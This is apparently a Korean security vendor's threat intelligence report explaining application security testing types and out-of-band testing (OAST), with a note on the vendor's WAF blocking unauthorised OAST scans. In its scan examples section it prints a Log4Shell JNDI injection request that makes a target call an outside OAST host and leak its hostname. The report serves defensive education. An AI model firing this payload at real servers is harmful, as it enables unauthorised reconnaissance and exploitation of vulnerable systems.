[2024년 4월 취약점 보고서] OAST Application Security Testing 기법 | Cloud-Based Platform AIONCLOUD

Threat Intelligence Report

Get up-to-date information on web application vulnerabilities, attacks, and how to respond.

Threat Intelligence Report 메인페이지로 돌아가기

[2024년 4월 취약점 보고서] OAST Application Security Testing 기법


1. AST 란?

AST(애플리케이션 보안 테스트)는 소프트웨어 애플리케이션 내의 취약성과 약점을 식별하고 완화하는 데 중점을 두는 IT 보안의 중요한 구성 요소입니다. AST는 웹 및 모바일 애플리케이션을 포함한 애플리케이션의 보안 상태를 평가하도록 설계된 다양한 기술과 도구를 포함합니다. AST의 주요 목표는 공격자가 응용 프로그램과 해당 데이터의 기밀성, 무결성 또는 가용성을 손상시키기 위해 악용할 수 있는 코드 취약성, 구성 오류, 논리 결함과 같은 잠재적인 보안 결함을 찾아내는 것입니다. AST를 수행함으로써 조직은 보안 위험을 사전에 식별하고 해결하여 진화하는 사이버 위협에 직면하여 애플리케이션의 복원력과 신뢰성을 보장할 수 있습니다.


2. AST(Application Security Testing) 분류

AST(Application Security Testing) : 응용 프로그램이 악용될 수 있는 취약성 또는 보안 허점을 찾아내는 것

image.png

피라미드 상단으로 올라갈수록 통합된 형태

이미지 출처 : https://insights.sei.cmu.edu

  • SAST(Static Application Security Testing): 프로그램을 실행하지 않고 애플리케이션의 소스 코드나 바이너리를 분석해 보안 취약점을 확인
  • DAST(Dynamic Application Security Testing): 공격을 시뮬레이션하고 대응을 분석하여 실행 중인 애플리케이션의 취약점을 테스트
  • SCA(Software Composition Analysis) : 애플리케이션 개발에 사용된 모든 오픈소스 구성 요소에 대한 보안 취약점을 제공
  • Database Security Scanning : 데이터베이스 보안 취약점 스캐닝
  • MAST(Mobile Application Security Testing) : 모바일 애플리케이션에 대해 정적 분석, 동적 분석, 포렌식 기술 등을 사용하여 보안 취약점을 탐지
  • IAST(Interactive Application Security Testing) : SAST(정적 분석)과 DAST(동적 분석) 기술을 결합하여 어플리케이션의 취약점을 탐지, 애플리케이션 컴파일 이전 소스코드 분석과 실행 중인 애플리케이션의 취약점을 탐지함으로써 오탐률을 효과적으로 감소
  • ASTaaS(AST as a Service) : 애플리케이션에 대해 정적 분석(SAST), 동적 분석(DAST), 모의 침투 테스트 등의 기술을 클라우드 서비스로 제공
  • Correlation Tools : AST 도구들의 결과들을 중앙 저장소에 수집하고 분석하여 오탐률을 줄이기 위한 도구
  • Test-Coverage Analyzers : 분석된 코드의 양을 측정하여 특정 범위로 나누어 프로그램 실행 중에 특정 코드 라인이나 논리적 분기문에 실제로 도달하는지 점검하는 도구
  • ASTO(Application Security Testing Orchestration) : 각기 다른 제조사에서 만든 AST 도구의 결과 통합의 어려움, 취약점 스캔/수정 시간, 비용 문제를 해결하기 위한 통합된 플랫폼

3. OAST 란?

OAST(Out-of-Band Application Security Testing)는 외부 서버를 활용하여 대역 외 채널을 통해 대상 애플리케이션과 상호 작용함으로써 웹 애플리케이션의 보안을 평가하는 데 사용되는 방법론입니다.

image.png

이미지 출처 : https://omoknooni.tistory.com/m/116

위의 그림을 보면 기존 테스트 방법과 달리 OAST는 애플리케이션 내의 상호 작용에만 의존하지 않습니다. 대신 DNS, HTTP 또는 기타 네트워크 프로토콜과 같은 외부 통신 채널을 활용하여 기존 테스트 접근 방식으로는 볼 수 없는 취약점을 식별합니다.


4. OAST 작동 방식

  1. 대상 식별: 보안 취약성에 대해 테스트할 대상 웹 애플리케이션 또는 시스템을 식별합니다.
  2. 외부 서버 설정: 대역 외 채널을 통해 대상 애플리케이션과 상호 작용하도록 외부 서버를 구성합니다.
  3. 트래픽 주입: 외부 서버를 통해 대상 애플리케이션에 테스트 페이로드 또는 트래픽을 주입하여 잠재적인 취약점을 유발합니다.
  4. 응답 분석: 대상 애플리케이션에서 받은 응답을 분석하여 비정상적인 동작이나 보안 약점을 식별합니다.
  5. 취약성 감지: OAST 프로세스를 통해 발견되었을 수 있는 주입 결함, 액세스 제어 문제 또는 민감한 데이터 노출과 같은 취약성을 감지합니다.

5. OAST를 사용하는 이유

  • 숨겨진 취약점 탐지: OAST는 대역 외 채널을 통해서만 악용할 수 있는 취약점을 포함하여 기존 테스트 방법에서 놓칠 수 있는 취약점을 찾아낼 수 있습니다.
  • 포괄적인 보안 범위: OAST는 기존 보안 테스트 접근 방식을 보완함으로써 보다 포괄적인 범위를 제공하고 애플리케이션 보안의 사각지대를 식별하는 데 도움을 줍니다.
  • 고급 위협으로부터 보호: OAST는 공격자가 애플리케이션이나 해당 데이터를 손상시키기 위해 악용할 수 있는 취약성을 발견하여 조직이 지능형 위협으로부터 방어할 수 있도록 돕습니다.

image.png


6. OAST 스캔 예시

OAST 기법을 사용하여 대표적으로 식별 할 수 있는 취약점 입니다.

  • 대역 외 SQL 주입(OOB SQLi)
  • 블라인드 XSS
  • OS 코드 주입
  • 서버측 요청 위조
  • XML 외부 엔터티 삽입

또한, 이전에 크게 이슈 되었던 Log4Shell 공격에 대한 식별에도 많이 사용되어 알려졌습니다. 해당 방안은 취약 대상을 빠르게 식별하기 위해 서브 도메인에 취약 도메인을 붙이는 형태의 OOB(Out-Of-Band)를 유도하여 취약한 부분을 빠르게 식별할 수 있었습니다.

GET /?test=${jndi:ldap://${hostName}.oast.service} HTTP/1.1
Host: sample.com

7. OAST 스캔 대응

OAST 스캔을 통해 공격자가 공격 대상의 취약한 부분을 식별하여 공격을 할 수 있는 위험이 있습니다.
아래 이미지는 Interacsh를 활용하여 OAST 기법으로 취약점 스캐닝을 시도한 것으로 보여지는 공격 입니다.

image.png

저희 AIWAF에서는 보안 담당자와 협의되지 않은 OAST 스캐닝을 차단 할 수 있는 방안을 마련해 놓았습니다.
다만 상시 패턴으로 등록하기에는 정상 스캐닝을 탐지 및 차단하여 이슈가 될 수 있기 때문에 요청에 따라 사용자 정의 패턴으로 제공하고 있습니다.


8. 참고 자료

Scroll Up